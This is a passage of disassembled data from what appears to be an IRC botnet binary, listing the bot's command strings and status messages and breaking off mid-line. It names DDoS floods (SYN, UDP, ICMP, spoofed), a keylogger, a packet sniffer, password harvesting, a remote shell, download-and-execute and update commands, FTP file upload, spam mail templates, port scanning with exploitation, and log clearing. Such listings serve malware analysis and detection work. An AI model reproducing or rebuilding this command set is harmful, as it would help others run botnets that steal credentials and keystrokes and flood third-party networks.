%d(ms).',0 align 10h aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_40EE72+2EA2o align 4 unk_437128 db 2 ; DATA XREF: sub_40EE72+2E8Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_24 db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_437170 db 2 ; DATA XREF: sub_40EE72+2E22o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 69h, 6Eh db 67h ; g db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSendingDPingsT db ' Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0 align 4 dword_4371C8 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411BF4o dd 2BBBB02h aInvalidFlood_0 db ' Invalid flood time must be greater than 0.',0 align 10h dword_437210 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2D78o dd 2BBBB02h aFailedToSta_25 db ' Failed to start flood thread, error: <%d>.',0 align 4 dword_437258 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2CFEo dd 2BBBB02h aSSFloodingSSFo db ' %s %s flooding: (%s:%s) for %s seconds.',0 align 4 aNormal db 'Normal',0 ; DATA XREF: sub_40EE72+2CEEo align 4 aSpoofed db 'Spoofed',0 ; DATA XREF: sub_40EE72+2CE7o dword_4372AC dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2C4Co dd 2BBBB02h aInvalidFloodTy db ' Invalid flood type specified.',0 dword_4372E4 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4119D3o dd 2BBBB02h aUploadingFileS db ' Uploading file: %s to: %s failed.',0 dword_437320 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2B5Ao dd 2BBBB02h aUploadingFil_0 db ' Uploading file: %s to: %s',0 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_40EE72+2B43o aSS_4 db '-s:%s',0 ; DATA XREF: sub_40EE72+2B2Co align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_40EE72+2B09o db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_40EE72+2AD4o align 4 dword_437398 dd 7A026E02h, 201F6D1Fh, 70746628h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2A8Ao dd 2BBBB02h aFileNotFoundS_ db ' File not found: %s.',0 align 4 aFtp_upload db 'ftp.upload',0 ; DATA XREF: sub_40EE72+2A67o align 4 aUtil_hcon db 'util.hcon',0 ; DATA XREF: sub_40EE72+2A44o align 10h aUtil_httpcon db 'util.httpcon',0 ; DATA XREF: sub_40EE72+2A2Do align 10h unk_4373F0 db 3 ; DATA XREF: sub_40EE72+2A11o db 31h, 35h, 2Ch db 31h ; 1 db 34h, 6Eh, 7Ah db 6Dh ; m db 20h, 3, 32h db 2Eh ; . db 2Eh, 20h, 3 db 31h ; 1 db 35h, 28h, 65h db 6Dh ; m db 61h, 69h, 6Ch db 3 db 32h, 2Eh, 3 db 31h ; 1 db 35h, 6Dh, 6Fh db 64h ; d db 29h, 20h, 3 db 32h ; 2 db 0BBh, 3, 31h a5MessageSentTo db '5 Message sent to %s.',0 align 10h aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_40EE72+299Do db 'mail from: <%s>',0Ah db 'rcpt to: <%s>',0Ah db 'data',0Ah db 'subject: %s',0Ah db 'from: %s',0Ah db '%s',0Ah db '.',0Ah,0 a__0: ; DATA XREF: sub_40EE72+2901o unicode 0, <_>,0 aUtil_email db 'util.email',0 ; DATA XREF: sub_40EE72+28B2o align 4 aDdos_tcpf db 'ddos.tcpf',0 ; DATA XREF: sub_40EE72+289Bo align 4 aDdos_tcpflood db 'ddos.tcpflood',0 ; DATA XREF: sub_40EE72+2884o align 4 aP: ; DATA XREF: sub_40EE72+286Do unicode 0, <p>,0 aDdos_pingf db 'ddos.pingf',0 ; DATA XREF: sub_40EE72+2856o align 4 aDdos_pingflood db 'ddos.pingflood',0 ; DATA XREF: sub_40EE72+283Fo align 4 aU: ; DATA XREF: sub_40EE72+2828o unicode 0, <u>,0 aDdos_udpf db 'ddos.udpf',0 ; DATA XREF: sub_40EE72+2811o align 4 aDdos_udpflood db 'ddos.udpflood',0 ; DATA XREF: sub_40EE72+27FAo align 4 aAsc db 'asc',0 ; DATA XREF: sub_40EE72+27E3o aAdvscan db 'advscan',0 ; DATA XREF: sub_40EE72+27CCo aClone_ac db 'clone.ac',0 ; DATA XREF: sub_40EE72+27A3o align 10h aClone_action db 'clone.action',0 ; DATA XREF: sub_40EE72+278Co align 10h aClone_pm db 'clone.pm',0 ; DATA XREF: sub_40EE72+2775o align 4 aClone_privmsg db 'clone.privmsg',0 ; DATA XREF: sub_40EE72+275Eo align 4 aRoot_ps db 'root.ps',0 ; DATA XREF: sub_40EE72+2747o aRoot_portscan db 'root.portscan',0 ; DATA XREF: sub_40EE72+2730o align 4 aDaemon_rd db 'daemon.rd',0 ; DATA XREF: sub_40EE72+2719o align 10h aDaemon_redirec db 'daemon.redirect',0 ; DATA XREF: sub_40EE72+2702o aDownload_wg db 'download.wg',0 ; DATA XREF: sub_40EE72+26EBo aDownload_wget db 'download.wget',0 ; DATA XREF: sub_40EE72+26D4o align 4 aDdos_synf db 'ddos.synf',0 ; DATA XREF: sub_40EE72+26BDo align 4 aDdos_synflood db 'ddos.synflood',0 ; DATA XREF: sub_40EE72+26A6o align 4 aClone_start db 'clone.start',0 ; DATA XREF: sub_40EE72+264Ao aClone_make db 'clone.make',0 ; DATA XREF: sub_40EE72+2633o align 10h aDdos_ic db 'ddos.ic',0 ; DATA XREF: sub_40EE72+260Ao aDdos_icmp db 'ddos.icmp',0 ; DATA XREF: sub_40EE72+25F3o align 4 aCom_mv db 'com.mv',0 ; DATA XREF: sub_40EE72+25DCo align 4 aCom_rename db 'com.rename',0 ; DATA XREF: sub_40EE72+25C5o align 4 aFf db 'ff',0 ; DATA XREF: sub_40EE72+25AEo align 4 aFindfile db 'findfile',0 ; DATA XREF: sub_40EE72+2597o align 4 aCom_e db 'com.e',0 ; DATA XREF: sub_40EE72+2580o align 10h aCom_execute db 'com.execute',0 ; DATA XREF: sub_40EE72+2569o aDownload_up db 'download.up',0 ; DATA XREF: sub_40EE72+2552o aDownload_updat db 'download.update',0 ; DATA XREF: sub_40EE72+253Bo aIrc_de db 'irc.de',0 ; DATA XREF: sub_40EE72+2524o align 10h aIrc_delay db 'irc.delay',0 ; DATA XREF: sub_40EE72+250Do align 4 aIrc_rp db 'irc.rp',0 ; DATA XREF: sub_40EE72+24F6o align 4 aIrc_repeat db 'irc.repeat',0 ; DATA XREF: sub_40EE72+24DFo align 10h aClone_p db 'clone.p',0 ; DATA XREF: sub_40EE72+24C8o aClone_part db 'clone.part',0 ; DATA XREF: sub_40EE72+24B1o align 4 aClone_j db 'clone.j',0 ; DATA XREF: sub_40EE72+249Ao aClone_join db 'clone.join',0 ; DATA XREF: sub_40EE72+2483o align 4 aClone_ni db 'clone.ni',0 ; DATA XREF: sub_40EE72+246Co align 4 aClone_nick db 'clone.nick',0 ; DATA XREF: sub_40EE72+2455o align 10h aClone_m db 'clone.m',0 ; DATA XREF: sub_40EE72+243Eo aClone_mode db 'clone.mode',0 ; DATA XREF: sub_40EE72+2427o align 4 aClone_ra db 'clone.ra',0 ; DATA XREF: sub_40EE72+2410o align 10h aClone_raw db 'clone.raw',0 ; DATA XREF: sub_40EE72+23F9o align 4 aIrc_m db 'irc.m',0 ; DATA XREF: sub_40EE72+23E2o align 4 aIrc_mode db 'irc.mode',0 ; DATA XREF: sub_40EE72+23CBo align 10h aIrc_cy db 'irc.cy',0 ; DATA XREF: sub_40EE72+23B4o align 4 aIrc_cycle db 'irc.cycle',0 ; DATA XREF: sub_40EE72+239Do align 4 aIrc_ac db 'irc.ac',0 ; DATA XREF: sub_40EE72+2386o align 4 aIrc_action db 'irc.action',0 ; DATA XREF: sub_40EE72+236Fo align 4 aIrc_pm db 'irc.pm',0 ; DATA XREF: sub_40EE72+2358o align 10h aIrc_privmsg db 'irc.privmsg',0 ; DATA XREF: sub_40EE72+2341o aIrc_aa db 'irc.aa',0 ; DATA XREF: sub_40EE72+232Ao align 4 aIrc_addalias db 'irc.addalias',0 ; DATA XREF: sub_40EE72+2313o align 4 aIrc_gh db 'irc.gh',0 ; DATA XREF: sub_40EE72+22EAo align 4 aIrc_gethost db 'irc.gethost',0 ; DATA XREF: sub_40EE72+22D3o aCom_cap db 'com.cap',0 ; DATA XREF: sub_40EE72+22BCo aCom_capture db 'com.capture',0 ; DATA XREF: sub_40EE72+22A5o dword_43773C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C9o dd 2BBBB02h aCommandUnknown db ' Command unknown.',0 align 4 dword_437768 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_4110C2o dd 2BBBB02h aNoMessageSpeci db ' No message specified.',0 dword_437798 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_411077o dd 2BBBB02h aUserListFailed db ' User list failed.',0 dword_4377C4 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+21FEo dd 2BBBB02h aUserListComple db ' User list completed.',0 align 4 aUser db 'user',0 ; DATA XREF: sub_40EE72+218Ao align 4 dword_4377FC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410FF1o dd 2BBBB02h aShareListFaile db ' Share list failed.',0 align 4 dword_43782C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2175o dd 2BBBB02h aShareListCompl db ' Share list completed.',0 aShare db 'share',0 ; DATA XREF: sub_40EE72+211Fo align 4 aDelete db 'delete',0 ; DATA XREF: sub_40EE72+20FDo align 4 aPause db 'pause',0 ; DATA XREF: sub_40EE72+20CDo align 4 aStop db 'stop',0 ; DATA XREF: sub_40EE72+20B5o align 4 dword_43787C dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72:loc_410F1Co dd 2BBBB02h aServiceListFai db ' Service list failed.',0 align 4 dword_4378AC dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+20A0o dd 2BBBB02h aServiceListCom db ' Service list completed.',0 align 10h dword_4378E0 dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+2036o dd 2BBBB02h aFailedToLoadAd db ' Failed to load advapi32.dll or netapi32.dll.',0 align 4 aCom_net db 'com.net',0 ; DATA XREF: sub_40EE72+2012o unk_437930 db 2 ; DATA XREF: sub_40EE72+1FD1o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToSta_26 db ' Failed to start logging thread, error: <%d>.',0 align 4 unk_43797C db 2 ; DATA XREF: sub_40EE72+1F66o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerActiv db ' Key logger active.',0 unk_4379AC db 2 ; DATA XREF: sub_40EE72+1EE5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAlreadyRunni_1 db ' Already running.',0 align 4 unk_4379DC db 2 ; DATA XREF: sub_40EE72:loc_410D33o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aNoKeyLoggerThr db ' No key logger thread found.',0 align 4 unk_437A18 db 2 ; DATA XREF: sub_40EE72+1EB7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Bh, 65h, 79h db 6Ch ; l db 6Fh, 67h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aKeyLoggerStopp db ' Key logger stopped. (%d thread(s) stopped.)',0 align 4 aCom_keylog db 'com.keylog',0 ; DATA XREF: sub_40EE72+1E5Do align 10h unk_437A70 db 2 ; DATA XREF: sub_40EE72:loc_410CC5o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aNoCarnivoreThr db 'No Carnivore thread found.',0 align 4 unk_437AA8 db 2 ; DATA XREF: sub_40EE72+1E49o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivoreStopp db 'Carnivore stopped. (%d thread(s) stopped.)',0 align 10h aOff db 'off',0 ; DATA XREF: sub_40EE72+1E26o ; sub_40EE72+1E94o unk_437AF4 db 2 ; DATA XREF: sub_40EE72+1E1Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_27 db 'Failed to start sniffer thread, error: <%d>.',0 align 10h unk_437B40 db 2 ; DATA XREF: sub_40EE72+1DACo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aCarnivorePacke db 'Carnivore packet sniffer active.',0 align 10h unk_437B80 db 2 ; DATA XREF: sub_40EE72+1D45o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 6Eh, 69h db 66h ; f db 66h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunni_2 db 'Already running.',0 align 10h aOn db 'on',0 ; DATA XREF: sub_40EE72+1D25o ; sub_40EE72+1E72o align 4 aSniff db 'sniff',0 ; DATA XREF: sub_40EE72+1D10o align 4 aCom_rf db 'com.rf',0 ; DATA XREF: sub_40EE72+1CF9o align 4 aCom_readfile db 'com.readfile',0 ; DATA XREF: sub_40EE72+1CE2o align 4 aCom_cm db 'com.cm',0 ; DATA XREF: sub_40EE72+1CCBo align 4 aCom_cmd db 'com.cmd',0 ; DATA XREF: sub_40EE72+1CB4o aMirc_cmd db 'mirc.cmd',0 ; DATA XREF: sub_40EE72+1C86o ; sub_40EE72+1C9Do align 10h aIrc_v db 'irc.v',0 ; DATA XREF: sub_40EE72+1C6Fo align 4 aIrc_visit db 'irc.visit',0 ; DATA XREF: sub_40EE72+1C58o align 4 aCom_fl db 'com.fl',0 ; DATA XREF: sub_40EE72+1C41o align 4 aCom_filelist db 'com.filelist',0 ; DATA XREF: sub_40EE72+1C2Ao align 4 aDcc_gt db 'dcc.gt',0 ; DATA XREF: sub_40EE72+1C13o align 4 aDcc_get db 'dcc.get',0 ; DATA XREF: sub_40EE72+1BFCo aCom_del db 'com.del',0 ; DATA XREF: sub_40EE72+1BE5o aCom_delete db 'com.delete',0 ; DATA XREF: sub_40EE72+1BCEo align 10h aCom_pkid db 'com.pkid',0 ; DATA XREF: sub_40EE72+1BB7o align 4 aCom_prockillid db 'com.prockillid',0 ; DATA XREF: sub_40EE72+1BA0o align 4 aCom_kpn db 'com.kpn',0 ; DATA XREF: sub_40EE72+1B89o aCom_killprocna db 'com.killprocname',0 ; DATA XREF: sub_40EE72+1B72o align 4 aIrc_dn db 'irc.dn',0 ; DATA XREF: sub_40EE72+1B5Bo align 10h aIrc_dns db 'irc.dns',0 ; DATA XREF: sub_40EE72+1B44o aIrc_se db 'irc.se',0 ; DATA XREF: sub_40EE72+1B2Do align 10h aIrc_setserve db 'irc.setserve',0 ; DATA XREF: sub_40EE72+1B16o align 10h aCom_o db 'com.o',0 ; DATA XREF: sub_40EE72+1AFFo align 4 aCom_open db 'com.open',0 ; DATA XREF: sub_40EE72+1AE8o align 4 aIrc_pr db 'irc.pr',0 ; DATA XREF: sub_40EE72+1AD1o align 4 aIrc_prefix db 'irc.prefix',0 ; DATA XREF: sub_40EE72+1ABAo align 4 aClone_rn db 'clone.rn',0 ; DATA XREF: sub_40EE72+1AA3o align 4 aClone_rndnick db 'clone.rndnick',0 ; DATA XREF: sub_40EE72+1A8Co align 4 aClone_q db 'clone.q',0 ; DATA XREF: sub_40EE72+1A75o aClone_quit db 'clone.quit',0 ; DATA XREF: sub_40EE72+1A5Eo align 4 aThreads_k db 'threads.k',0 ; DATA XREF: sub_40EE72+1A47o align 4 aThreads_kill db 'threads.kill',0 ; DATA XREF: sub_40EE72+1A30o align 4 aIrc_ra db 'irc.ra',0 ; DATA XREF: sub_40EE72+1A19o align 4 aIrc_raw db 'irc.raw',0 ; DATA XREF: sub_40EE72+1A02o aIrc_pt db 'irc.pt',0 ; DATA XREF: sub_40EE72+19EBo align 4 aIrc_part db 'irc.part',0 ; DATA XREF: sub_40EE72+19D4o align 4 aIrc_j db 'irc.j',0 ; DATA XREF: sub_40EE72+19BDo align 10h aIrc_join db 'irc.join',0 ; DATA XREF: sub_40EE72+19A6o align 4 aIrc_n db 'irc.n',0 ; DATA XREF: sub_40EE72+198Fo align 4 aIrc_nick db 'irc.nick',0 ; DATA XREF: sub_40EE72+1978o align 10h aSa db 'sa',0 ; DATA XREF: sub_40EE72+1952o align 4 aScanall db 'scanall',0 ; DATA XREF: sub_40EE72+193Do aCom_fp db 'com.fp',0 ; DATA XREF: sub_40EE72+1928o align 4 aCom_findpass db 'com.findpass',0 ; DATA XREF: sub_40EE72+1913o align 4 aDaemon_tf_on db 'daemon.tf.on',0 ; DATA XREF: sub_40EE72+18FEo align 4 aDaemon_tftp_on db 'daemon.tftp.on',0 ; DATA XREF: sub_40EE72+18E9o align 4 aDaemon_web_on db 'daemon.web.on',0 ; DATA XREF: sub_40EE72+18D4o align 4 aDaemon_httpd_o db 'daemon.httpd.on',0 ; DATA XREF: sub_40EE72+18BFo aDaemon_rl_on db 'daemon.rl.on',0 ; DATA XREF: sub_40EE72+18AAo align 4 aDaemon_rlogi_0 db 'daemon.rlogin.on',0 ; DATA XREF: sub_40EE72+1895o align 4 aRoot_cip db 'root.cip',0 ; DATA XREF: sub_40EE72+1880o align 4 aRoot_currentip db 'root.currentip',0 ; DATA XREF: sub_40EE72+186Bo align 4 aUtil_fdns db 'util.fdns',0 ; DATA XREF: sub_40EE72+1856o align 10h aUtil_flushdns db 'util.flushdns',0 ; DATA XREF: sub_40EE72+1841o align 10h aUtil_farp db 'util.farp',0 ; DATA XREF: sub_40EE72+182Co align 4 aUtil_flusharp db 'util.flusharp',0 ; DATA XREF: sub_40EE72+1817o align 4 aCom_gc db 'com.gc',0 ; DATA XREF: sub_40EE72+1802o align 4 aCom_getclip db 'com.getclip',0 ; DATA XREF: sub_40EE72+17EDo dword_437E50 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+17DDo dd 2BBBB02h aLoginListCompl db ' Login list complete.',0 align 10h aD_S db '%d. %s',0 ; DATA XREF: sub_40EE72+17A9o align 4 aEmpty db '<Empty>',0 ; DATA XREF: sub_40EE72+179Co aLoginList db '-[Login List]-',0 ; DATA XREF: sub_40EE72+177Ao align 10h aIrc_who db 'irc.who',0 ; DATA XREF: sub_40EE72+1761o aCmd db '[CMD]',0 ; DATA XREF: sub_40EE72+1756o align 10h aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_40EE72+1751o align 10h aCom_ocmd_off db 'com.ocmd.off',0 ; DATA XREF: sub_40EE72+1738o align 10h aCom_ocmd db 'com.ocmd',0 ; DATA XREF: sub_40EE72+1723o align 4 aCom_opencmd db 'com.opencmd',0 ; DATA XREF: sub_40EE72+170Eo aCom_dll db 'com.dll',0 ; DATA XREF: sub_40EE72+16F9o aCom_testdlls db 'com.testdlls',0 ; DATA XREF: sub_40EE72+16E4o align 10h aCom_drv db 'com.drv',0 ; DATA XREF: sub_40EE72+16CFo aCom_driveinfo db 'com.driveinfo',0 ; DATA XREF: sub_40EE72+16BAo align 4 aCom_up db 'com.up',0 ; DATA XREF: sub_40EE72+16A5o align 10h aCom_uptime db 'com.uptime',0 ; DATA XREF: sub_40EE72+1690o align 4 aCom_key db 'com.key',0 ; DATA XREF: sub_40EE72+167Bo aCom_harvest db 'com.harvest',0 ; DATA XREF: sub_40EE72+1666o aCom_ps db 'com.ps',0 ; DATA XREF: sub_40EE72+1651o align 4 aCom_procs db 'com.procs',0 ; DATA XREF: sub_40EE72+163Co align 4 aIrc_rm0 db 'irc.rm0',0 ; DATA XREF: sub_40EE72+1627o aIrc_rem0ve db 'irc.rem0ve',0 ; DATA XREF: sub_40EE72+1612o align 4 aCom_si db 'com.si',0 ; DATA XREF: sub_40EE72+15FDo align 10h aCom_sysinfo db 'com.sysinfo',0 ; DATA XREF: sub_40EE72+15E8o unk_437F7C db 2 ; DATA XREF: sub_40EE72+15DDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_28 db ' Failed to start flood thread, error: <%d>.',0 align 4 unk_437FC8 db 2 ; DATA XREF: sub_40EE72+156Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 73h, 75h, 70h db 65h ; e db 72h, 73h, 79h db 6Eh ; n db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSSFo_1 db ' Flooding: (%s:%s) for %s seconds.',0 aDdos_supersyn db 'ddos.supersyn',0 ; DATA XREF: sub_40EE72+14D8o align 4 aCom_ni db 'com.ni',0 ; DATA XREF: sub_40EE72+14C3o align 10h aCom_netinfo db 'com.netinfo',0 ; DATA XREF: sub_40EE72+14AEo aUtil_clg db 'util.clg',0 ; DATA XREF: sub_40EE72+1499o align 4 aUtil_clearlog db 'util.clearlog',0 ; DATA XREF: sub_40EE72+1484o align 4 aIrc_lg db 'irc.lg',0 ; DATA XREF: sub_40EE72+146Fo align 10h aIrc_log db 'irc.log',0 ; DATA XREF: sub_40EE72+145Ao aIrc_al db 'irc.al',0 ; DATA XREF: sub_40EE72+1445o align 10h aIrc_aliases db 'irc.aliases',0 ; DATA XREF: sub_40EE72+1430o aThreads_l db 'threads.l',0 ; DATA XREF: sub_40EE72+141Bo align 4 aThreads_list db 'threads.list',0 ; DATA XREF: sub_40EE72+1406o align 4 dword_438088 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13D2o dd 2BBBB02h aFailedToReboot db ' Failed to reboot system.',0 align 4 dword_4380BC dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EE72+13CBo dd 2BBBB02h aRebootingSyste db ' Rebooting system.',0 aCom_rebewt db 'com.rebewt',0 ; DATA XREF: sub_40EE72+13B4o align 4 aIrc_i db 'irc.i',0 ; DATA XREF: sub_40EE72+139Fo align 4 aIrc_id db 'irc.id',0 ; DATA XREF: sub_40EE72+138Ao align 4 aIrc_s db 'irc.s',0 ; DATA XREF: sub_40EE72+1375o align 4 aIrc_status db 'irc.status',0 ; DATA XREF: sub_40EE72+1360o align 4 aIrc_q db 'irc.q',0 ; DATA XREF: sub_40EE72+134Bo align 10h aIrc_quit db 'irc.quit',0 ; DATA XREF: sub_40EE72+1336o align 4 aIrc_d db 'irc.d',0 ; DATA XREF: sub_40EE72+1321o align 4 aIrc_disconnect db 'irc.disconnect',0 ; DATA XREF: sub_40EE72+130Co align 4 aIrc_r db 'irc.r',0 ; DATA XREF: sub_40EE72+12F7o align 4 aIrc_reconnect db 'irc.reconnect',0 ; DATA XREF: sub_40EE72+12E2o align 4 aRoot_st db 'root.st',0 ; DATA XREF: sub_40EE72+12CDo aRoot_stats db 'root.stats',0 ; DATA XREF: sub_40EE72+12B8o align 10h aExploitation db 'Exploitation',0 ; DATA XREF: sub_40EE72+12ADo align 10h aScan db 'Scan',0 ; DATA XREF: sub_40EE72+12A8o align 4 aRoot_stop db 'root.stop',0 ; DATA XREF: sub_40EE72+128Fo align 4 dword_438194 dd 65027302h, 1F727563h, 2E2E1F65h, 0 ; DATA XREF: sub_40EE72+1284o aSecure_0 db 'Secure',0 ; DATA XREF: sub_40EE72+127Fo align 4 aLockdown_stop db 'lockdown.stop',0 ; DATA XREF: sub_40EE72+1266o align 4 dword_4381BC dd 6C026302h, 1F656E6Fh, 2E2E1F73h, 0 ; DATA XREF: sub_40EE72+125Bo aClone db 'Clone',0 ; DATA XREF: sub_40EE72+1256o align 4 aClone_off db 'clone.off',0 ; DATA XREF: sub_40EE72+123Do align 10h aCom_ps_off db 'com.ps.off',0 ; DATA XREF: sub_40EE72+1228o align 4 aCom_procs_off db 'com.procs.off',0 ; DATA XREF: sub_40EE72+1213o align 4 aUtil_ff_off db 'util.ff.off',0 ; DATA XREF: sub_40EE72+11FEo aUtil_findfile_ db 'util.findfile.off',0 ; DATA XREF: sub_40EE72+11E9o align 4 dword_43821C dd 66027402h, 641F7074h, 2E2E1Fh ; DATA XREF: sub_40EE72+11DEo aDaemon_tftp_of db 'daemon.tftp.off',0 ; DATA XREF: sub_40EE72+11C0o dword_438238 dd 69027002h, 1F671F6Eh, 2E2Eh ; DATA XREF: sub_40EE72+11B5o dword_438244 dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+11B0o dword_438250 dd 736F6464h, 6E69702Eh, 666F2E67h, 66h ; DATA XREF: sub_40EE72+1197o dword_438260 dd 64027502h, 2E1F701Fh, 2Eh ; DATA XREF: sub_40EE72+118Co dword_43826C dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+1187o dword_438278 dd 736F6464h, 7064752Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+116Eo dword_438288 dd 79027302h, 2E1F6E1Fh, 2Eh ; DATA XREF: sub_40EE72+1163o dword_438294 dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_40EE72+115Eo dword_4382A0 dd 736F6464h, 6E79732Eh, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+1145o dword_4382B0 dd 64026402h, 1F731F6Fh, 2E2Eh ; DATA XREF: sub_40EE72+113Ao dword_4382BC dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_40EE72+1135o dword_4382C8 dd 736F6464h, 66666F2Eh, 0 ; DATA XREF: sub_40EE72+111Co dword_4382D4 dd 65027202h, 65726964h, 1F741F63h, 2E2Eh ; DATA XREF: sub_40EE72+1111o dword_4382E4 dd 20504354h, 69646572h, 74636572h, 0 ; DATA XREF: sub_40EE72+110Co aProxy_redirect db 'proxy.redirect.off',0 ; DATA XREF: sub_40EE72+10F3o align 4 dword_438308 dd 6F026C02h, 2E1F671Fh, 2Eh ; DATA XREF: sub_40EE72+10E8o dword_438314 dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF: sub_40EE72+10E3o dword_438320 dd 2E676F6Ch, 66666Fh ; DATA XREF: sub_40EE72+10CAo dword_438328 dd 74026802h, 641F7074h, 